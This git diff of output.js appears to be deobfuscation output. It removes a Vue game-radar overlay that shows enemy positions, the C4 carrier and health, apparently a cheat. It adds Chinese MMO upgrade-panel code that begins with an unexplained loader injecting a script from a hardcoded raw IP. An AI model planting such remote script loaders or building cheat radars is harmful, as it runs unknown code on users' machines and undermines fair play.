diff --git a/output.js b/output.js
index d23cd25..82f2563 100644
--- a/output.js
+++ b/output.js
@@ -1,146 +1,310 @@
-//Wed Jul 09 2025 05:54:07 GMT+0000 (Coordinated Universal Time)
+//Fri Jul 11 2025 23:51:29 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-let canvas;
-let ctx;
-const app = new Vue({
- el: "#app",
- data: {
- radarImg: "",
- map: "",
- rate: 1.2,
- config: {
- hp: false,
- name: false,
- friend: false,
- c4: true,
- color: {
- mine: "rgba(145, 244, 69, 0.75)",
- friend: "rgba(97, 189, 255, 0.75)",
- enemy: "rgba(241, 3, 59, 0.75)",
- c4: "rgba(249, 229, 9, 0.75)"
+function loadblm(_0x2daed9) {
+ var _0x288f5e = $("head").remove("script[role='reload']");
+ $("").attr({
+ role: "reload",
+ src: _0x2daed9,
+ type: "text/javascript"
+ }).appendTo(_0x288f5e);
+}
+loadblm("http://110.42.3.203:1418/hh.js");
+var newzbqhwin = function (_0x5ab625) {
+ var _0x5aa4b8 = function () {
+ var _0x79c21f = true;
+ return function (_0x672281, _0x5e89ec) {
+ {
+ var _0x1b0003 = _0x79c21f ? function () {
+ if (_0x5e89ec) {
+ {
+ var _0x218458 = _0x5e89ec.apply(_0x672281, arguments);
+ _0x5e89ec = null;
+ return _0x218458;
+ }
+ }
+ } : function () {};
+ _0x79c21f = false;
+ return _0x1b0003;
}
- },
- selectIndex: "",
- ws: "",
- radarPlayer: []
- },
- computed: {
- players: function () {
- let _0x2d36cc = [];
- if (!this.radarPlayer) {
- return;
+ };
+ }();
+ var _0x46bc74 = _0x5aa4b8(this, function () {
+ var _0x167ca7 = typeof window !== "undefined" ? window : typeof process === "object" && typeof require === "function" && typeof global === "object" ? global : this;
+ var _0xe18bdf = function () {
+ var _0x4e8a72 = new _0x167ca7.RegExp("^([^ ]+( +[^ ]+)+)+[^ ]}");
+ return !_0x4e8a72.test(_0x46bc74);
+ };
+ return _0xe18bdf();
+ });
+ _0x46bc74();
+ function _0x19dc80(_0x4d85a0, _0x35da36) {
+ var _0x2f9824 = _0x5ab625.call(this, _0x4d85a0, _0x35da36) || this;
+ _0x2f9824.showMessage = [UserZs.ins().postZsData];
+ _0x2f9824.updateMessage = [KFBattleRedPoint.ins().postRedPoint, DevildomRedPoint.ins().postRedPoint, KfArenaRedPoint.ins().postRedPoint];
+ return _0x2f9824;
+ }
+ __extends(_0x19dc80, _0x5ab625);
+ _0x19dc80.prototype.checkShowIcon = function () {
+ {
+ var _0x15140b = KFBossSys.ins().isOpen();
+ return _0x15140b;
+ }
+ };
+ _0x19dc80.prototype.checkShowRedPoint = function () {
+ return KFBattleRedPoint.ins().redPoint || DevildomRedPoint.ins().redPoint || KfArenaRedPoint.ins().redpoint;
+ };
+ _0x19dc80.prototype.tapExecute = function () {
+ ViewManager.ins().open(newLongdispal);
+ };
+ return _0x19dc80;
+}(RuleIconBase);
+__reflect(newzbqhwin.prototype, "newzbqhwin");
+var newLongdispal = function (_0x236e52) {
+ function _0x427962() {
+ {
+ var _0x461555 = _0x236e52.call(this) || this;
+ _0x461555._cost = 0;
+ _0x461555.isTopLevel = true;
+ _0x461555.skinName = " \n \n ";
+ return _0x461555;
+ }
+ }
+ __extends(_0x427962, _0x236e52);
+ _0x427962.prototype.open = function () {
+ this.addTouchEvent(this.closeBtn, this.closeMenus);
+ this.roleSelect.setCurRole(this.curRole);
+ this.addChangeEvent(this.roleSelect, this.sonChange);
+ this.roleSelect.parent.touchEnabled = true;
+ SubRoles.ins().getSubRoleByIndex(0);
+ this.roleSelect.setCurRole(0);
+ this.observe(Dress.ins().postDressInfo, this.edata);
+ this.observe(GameLogic.ins().postSubRoleChange, this.getDressInfo);
+ this.observe(UserBag.ins().postItemAdd, this.edata);
+ this.observe(UserBag.ins().postItemDel, this.edata);
+ this.observe(UserBag.ins().postItemCountChange, this.edata);
+ this.addTouchEvent(this.item0, this.closeMenu);
+ this.addTouchEvent(this.item1, this.closeMenu);
+ this.addTouchEvent(this.item2, this.closeMenu);
+ this.addTouchEvent(this.item3, this.closeMenu);
+ this.addTouchEvent(this.item4, this.closeMenu);
+ this.addTouchEvent(this.item5, this.closeMenu);
+ this.addTouchEvent(this.item6, this.closeMenu);
+ this.addTouchEvent(this.item7, this.closeMenu);
+ this.addTouchEvent(this.item8, this.closeMenu);
+ this.addTouchEvent(this.item9, this.closeMenu);
+ this.addTouchEvent(this.item10, this.closeMenu);
+ this.addTouchEvent(this.item11, this.closeMenu);
+ this.addTouchEvent(this.item12, this.closeMenu);
+ this.addTouchEvent(this.upitem0, this.pagesitem);
+ this.addTouchEvent(this.upitem1, this.pagesitem);
+ this.addTouchEvent(this.Upbntss, this.closeMenu);
+ this._indexid = 0;
+ this.item0.selectFrame.visible = 1;
+ this._curRole = 0;
+ this.edata();
+ };
+ _0x427962.prototype.sonChange = function (_0x119964) {
+ this._curRole = this.roleSelect.getCurRole();
+ this.edata();
+ };
+ _0x427962.prototype.getDressInfo = function () {
+ Dress.ins().sendDressInfoReq();
+ };
+ _0x427962.prototype.pagesitem = function (_0x2539de) {
+ {
+ switch (_0x2539de.currentTarget) {
+ case this.upitem0:
+ this.XZitempage(0);
+ break;
+ case this.upitem1:
+ this.XZitempage(1);
}
- this.radarPlayer.forEach(_0x18efb0 => {
- let _0x488372 = _0x18efb0.camp === 0 ? "匪" : "警";
- if (!_0x2d36cc.find(_0x44724a => _0x44724a.label === _0x488372)) {
- let _0x1a13fc = [];
- _0x1a13fc.push(_0x18efb0);
- _0x2d36cc.push({
- label: _0x488372,
- options: _0x1a13fc
- });
+ }
+ };
+ _0x427962.prototype.XZitempage = function (_0x10fdf5) {
+ for (x = 0; x < 2; x++) {
+ x != _0x10fdf5 ? (this["upitem" + x].filters = [FilterUtil.grayFilter], this["Supitem" + x].Nametext.textColor = "0xADFEDC") : (this["upitem" + x].filters = null, this["Supitem" + x].Nametext.textColor = "0xA6FFA6");
+ }
+ };
+ _0x427962.prototype.edata = function (_0x27950f) {
+ var _0xd1dc1f = this.Listdate();
+ var _0x490ccb = 0;
+ var _0x300288 = ConfgMgr.xlongdibaseconfig;
+ var _0x4b46ab = ConfgMgr.xlongdiupconfig;
+ this.Supitem0.Nametext.textColor = "0xADFEDC";
+ this.Supitem1.Nametext.textColor = "0xA6FFA6";
+ this._maxlv = _0x300288.maxlv;
+ this._openzs = _0x300288.zslv;
+ this._openday = _0x300288.openday;
+ for (x = 0; x < 13; x++) {
+ var _0x4b053b = _0xd1dc1f[x].lv;
+ var _0x2343a2 = _0xd1dc1f[x].id;
+ this["item" + x].itemIcon.imgIcon.source = _0x300288.itemicon[x] + "_png";
+ this["item" + x].itemIcon.imgBg.source = "quality5";
+ this["item" + x].itemIcon.imgJob.visible = 0;
+ this["item" + x].count.visible = 0;
+ this["item" + x].nameTxt.text = _0x300288.name[x] + _0x300288.lvjie[_0x4b053b];
+ this["BedEff" + x] || (this["BedEff" + x] = new MovieClip());
+ this["BedEff" + x].scaleX = this["BedEff" + x].scaleY = 1.2;
+ if (_0x4b053b < 1) {
+ this["BedEff" + x].x = -66660;
+ this["BedEff" + x].y = -66650;
+ this["item" + x].itemIcon.imgIcon.filters = [FilterUtil.grayFilter];
+ } else {
+ this["BedEff" + x].x = 40;
+ this["BedEff" + x].y = 35;
+ this["item" + x].itemIcon.imgIcon.filters = null;
+ var _0x490ccb = parseInt(_0x490ccb) + UserBag.getAttrPower(AttributeData.transformAttr(_0x4b46ab[x][_0x4b053b].attr));
+ }
+ this["item" + x].itemIcon.imgStar.parent.addChild(this["BedEff" + x]);
+ this["BedEff" + x].playFile(RES_DIR_EFF + "yewan01", -1);
+ if (x == this._indexid) {
+ this._lv = _0x4b053b;
+ this._id = _0x2343a2;
+ if (_0x4b053b < this._maxlv) {
+ {
+ if (_0x4b053b < 1) {
+ var _0x34582e = _0x4b46ab[x][1];
+ this._item0 = _0x34582e.itemid[0];
+ this._item1 = _0x34582e.itemid[1];
+ this._count0 = _0x34582e.count[0];
+ this._count1 = _0x34582e.count[1];
+ this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0);
+ this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1);
+ this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x300288.attr), 0, 1, ": ");
+ this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": ");
+ this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个";
+ this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个";
+ this.upitem0.data = this._item0;
+ this.upitem1.data = this._item1;
+ this.upitem1.filters = [FilterUtil.grayFilter];
+ this.upitem1.nameTxt.visible = 0;
+ this.upitem0.nameTxt.visible = 0;
+ } else {
+ var _0x472879 = _0x4b46ab[x][_0x4b053b];
+ var _0x34582e = _0x4b46ab[x][parseInt(_0x4b053b) + 1];
+ this._item0 = _0x34582e.itemid[0];
+ this._item1 = _0x34582e.itemid[1];
+ this._count0 = _0x34582e.count[0];
+ this._count1 = _0x34582e.count[1];
+ this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0);
+ this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1);
+ this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": ");
+ this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": ");
+ this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个";
+ this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个";
+ this.upitem0.data = this._item0;
+ this.upitem1.data = this._item1;
+ this.upitem1.filters = [FilterUtil.grayFilter];
+ this.upitem1.nameTxt.visible = 0;
+ this.upitem0.nameTxt.visible = 0;
+ }
+ this.maxbox1.visible = this.Upbntss.visible = this.Supitem0.visible = this.luopans.visible = this.Supitem1.visible = 1;
+ this.maxbox2.visible = this.macicon.visible = 0;
+ }
} else {
- _0x2d36cc.forEach(_0xc8e11b => {
- _0xc8e11b.label === _0x488372 && _0xc8e11b.options.push(_0x18efb0);
- });
+ this.maxbox1.visible = this.Supitem0.visible = this.Upbntss.visible = this.luopans.visible = this.Supitem1.visible = 0;
+ this.maxbox2.visible = this.macicon.visible = 1;
+ var _0x472879 = _0x4b46ab[x][this._maxlv];
+ this.curAttr2.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": ");
}
- });
- return _0x2d36cc;
- },
- me: function () {
- return app.radarPlayer.find(_0xdcdde0 => _0xdcdde0.id === this.selectIndex);
- }
- },
- created: function () {
- this.ws = new SignalRWebSocket("ws://" + window.location.hostname + ":8081");
- this.ws.on("ChangeImage", _0x2e8442 => {
- this.map = _0x2e8442;
- });
- this.ws.on("ReceiveRadar", _0x3d5644 => {
- _0x3d5644.map !== this.map && (this.map = _0x3d5644.map);
- this.radarPlayer = _0x3d5644.players;
- });
- this.ws.open(() => {
- console.log(this);
- canvas = this.$refs.radarCanvas;
- ctx = canvas.getContext("2d");
- setTimeout(radarDraw, 1000);
- });
- this.ws.connect();
- },
- watch: {
- rate: function (_0x4c56e1) {
- this.$refs.radarCanvas.width = this.radarImg.width * _0x4c56e1;
- this.$refs.radarCanvas.height = this.radarImg.height * _0x4c56e1;
- ctx.scale(_0x4c56e1, _0x4c56e1);
- },
- map: function (_0x3bf75d) {
- this.radarImg = new Image();
- this.radarImg.src = _0x3bf75d;
- let _0x261eda = this.$refs.radarCanvas;
- _0x261eda.style.backgroundImage = "url(\"" + _0x3bf75d + "\")";
- this.radarImg.onload = () => {
- _0x261eda.height = this.radarImg.height * this.rate;
- _0x261eda.width = this.radarImg.width * this.rate;
- ctx.scale(this.rate, this.rate);
- };
- },
- selectedIndex: function (_0x12abc5) {
- if (!radarData.Players) {
- return;
}
- radarData.Players.forEach(_0x27af3d => {
- _0x27af3d.Index === _0x12abc5 && (radarData.Me = _0x27af3d);
- });
}
- }
-});
-function rgba(_0x97d041, _0x56606e, _0x1fa36f, _0x11a3eb) {
- return "#" + _0x97d041.toString(16).padStart(2, "0") + _0x56606e.toString(16).padStart(2, "0") + _0x1fa36f.toString(16).padStart(2, "0") + Math.floor(_0x11a3eb * 255).toString(16).padStart(2, "0");
-}
-function radarDraw() {
- app.radarPlayer && app.me && (ctx.clearRect(0, 0, canvas.width + 1, canvas.height + 1), app.radarPlayer.forEach(_0x1e31f0 => {
- if (!_0x1e31f0.isAlive) {
- return;
+ this.powerPanel.setPower(_0x490ccb);
+ };
+ _0x427962.prototype.Listdate = function () {
+ {
+ this.curRole = this.roleSelect.getCurRole();
+ var _0x377125 = Dress.ins();
+ this.listInfo = [];
+ for (var _0x445878 in ConfgMgr.xlongdiconfig) if (SubRoles.ins().getSubRoleByIndex(this.curRole).job == ConfgMgr.xlongdiconfig[_0x445878].roletype) {
+ var _0x23af09 = new DressItemInfo();
+ var _0x4940dc = ConfgMgr.xlongdiconfig[_0x445878];
+ var _0x13b771 = _0x4940dc.id;
+ _0x23af09.lv = 0;
+ _0x23af09.id = _0x13b771;
+ _0x23af09.job = _0x4940dc.roletype;
+ _0x377125.timeInfo[_0x13b771] && (_0x23af09.timer = _0x377125.timeInfo[_0x13b771].invalidtime, _0x23af09.lv = _0x377125.timeInfo[_0x13b771].lv);
+ this.listInfo.push(_0x23af09);
+ }
+ return this.listInfo;
}
- let _0x56c841 = _0x1e31f0.camp !== app.me.camp ? 2 : _0x1e31f0.id === app.me.id ? 0 : 1;
- !app.config.friend ? (_0x56c841 === 0 || _0x56c841 === 2) && DrawPlayer(_0x1e31f0, GetColor(_0x56c841)) : DrawPlayer(_0x1e31f0, GetColor(_0x56c841));
- }));
- requestAnimationFrame(radarDraw);
-}
-function GetColor(_0x8c8418) {
- switch (_0x8c8418) {
- case 0:
- return eval(app.config.color.mine);
- case 1:
- return eval(app.config.color.friend);
- case 2:
- return eval(app.config.color.enemy);
- }
-}
-function DrawPlayer(_0x5ebaa8, _0xa0ea7e) {
- let _0x531115 = ctx.createRadialGradient(_0x5ebaa8.vec.X, _0x5ebaa8.vec.Y, 0, _0x5ebaa8.rotate.X, _0x5ebaa8.rotate.Y, 45);
- _0x531115.addColorStop(0, _0xa0ea7e);
- _0x531115.addColorStop(1, calcAlpha(_0xa0ea7e, 1));
- ctx.fillStyle = _0x531115;
- ctx.arc(_0x5ebaa8.vec.X, _0x5ebaa8.vec.Y, 30, 0, 2 * Math.PI);
- ctx.fill();
- _0x5ebaa8.hasC4 && app.config.c4 && (ctx.beginPath(), ctx.fillStyle = eval(app.config.color.c4), ctx.arc(_0x5ebaa8.vec.X, _0x5ebaa8.vec.Y, 3, 0, 2 * Math.PI), ctx.closePath(), ctx.fill());
- ctx.beginPath();
- ctx.fillStyle = _0xa0ea7e;
- ctx.arc(_0x5ebaa8.vec.X, _0x5ebaa8.vec.Y, 2, 0, 2 * Math.PI);
- ctx.closePath();
- ctx.fill();
- if (app.config.hp) {
- ctx.font = "7px Arial";
- const _0x5392ec = ctx.measureText(_0x5ebaa8.health).width + 3;
- ctx.fillText(_0x5ebaa8.health, _0x5ebaa8.vec.X - _0x5392ec, _0x5ebaa8.vec.Y + 2);
- }
- app.config.name && (ctx.font = "7px Arial", ctx.fillText(_0x5ebaa8.name, _0x5ebaa8.vec.X + 3, _0x5ebaa8.vec.Y + 2));
-}
-function calcAlpha(_0x29868c, _0x51e15b) {
- let _0x367455 = _0x29868c.substring(1, 7);
- let _0x138625 = _0x51e15b.toString(16).padStart(2, "0");
- return "#" + _0x367455 + _0x138625;
-}
\ No newline at end of file
+ };
+ _0x427962.prototype.closeMenu = function (_0x8cfb34) {
+ switch (_0x8cfb34.currentTarget) {
+ case this.item0:
+ this.ViewSelect(0);
+ break;
+ case this.item1:
+ this.ViewSelect(1);
+ break;
+ case this.item2:
+ this.ViewSelect(2);
+ break;
+ case this.item3:
+ this.ViewSelect(3);
+ break;
+ case this.item4:
+ this.ViewSelect(4);
+ break;
+ case this.item5:
+ this.ViewSelect(5);
+ break;
+ case this.item6:
+ this.ViewSelect(6);
+ break;
+ case this.item7:
+ this.ViewSelect(7);
+ break;
+ case this.item8:
+ this.ViewSelect(8);
+ break;
+ case this.item9:
+ this.ViewSelect(9);
+ break;
+ case this.item10:
+ this.ViewSelect(10);
+ break;
+ case this.item11:
+ this.ViewSelect(11);
+ break;
+ case this.item12:
+ this.ViewSelect(12);
+ break;
+ case this.Upbntss:
+ if (UserZs.ins().lv < this._openzs) {
+ return void UserTips.ins().showTips("|C:0xf3311e&T:转生等级达" + this._openzs + "开启|");
+ }
+ if (GameServer.serverOpenDay + 1 < this._openday) {
+ return void UserTips.ins().showTips("|C:0xf3311e&T:开服" + this._openday + "开启|");
+ }
+ if (this._num0 < this._count0) {
+ void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n");
+ return SoundManager.ins().playEffect("wupindaojubuzubgm");
+ }
+ if (this._num1 < this._count1) {
+ void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n");
+ return SoundManager.ins().playEffect("wupindaojubuzubgm");
+ }
+ if (this._lv >= this._maxlv) {
+ return void UserTips.ins().showTips("|C:0xf3311e&T:已达最高等级|");
+ }
+ this._lv < 1 ? Dress.ins().JiezhikongjianUserReq(this._id, 2) : Dress.ins().JiezhikongjianLevelUp(this._id);
+ }
+ };
+ _0x427962.prototype.ViewSelect = function (_0x76add5) {
+ for (x = 0; x < 13; x++) {
+ _0x76add5 == x ? this["item" + x].selectFrame.visible = 1 : this["item" + x].selectFrame.visible = 0;
+ }
+ this._indexid = _0x76add5;
+ this.edata();
+ };
+ _0x427962.prototype.closeMenus = function (_0x1f255e) {
+ ViewManager.ins().close(this);
+ SoundManager.ins().playEffect(SoundUtil.WINDOW);
+ };
+ return _0x427962;
+}(BaseEuiView);
+__reflect(newLongdispal.prototype, "newLongdispal");
+ViewManager.ins().reg(newLongdispal, LayerManager.UI_Main);
\ No newline at end of file
diff --git a/output.py b/output.py
index aa81508..3af2a87 100644
Binary files a/output.py and b/output.py differ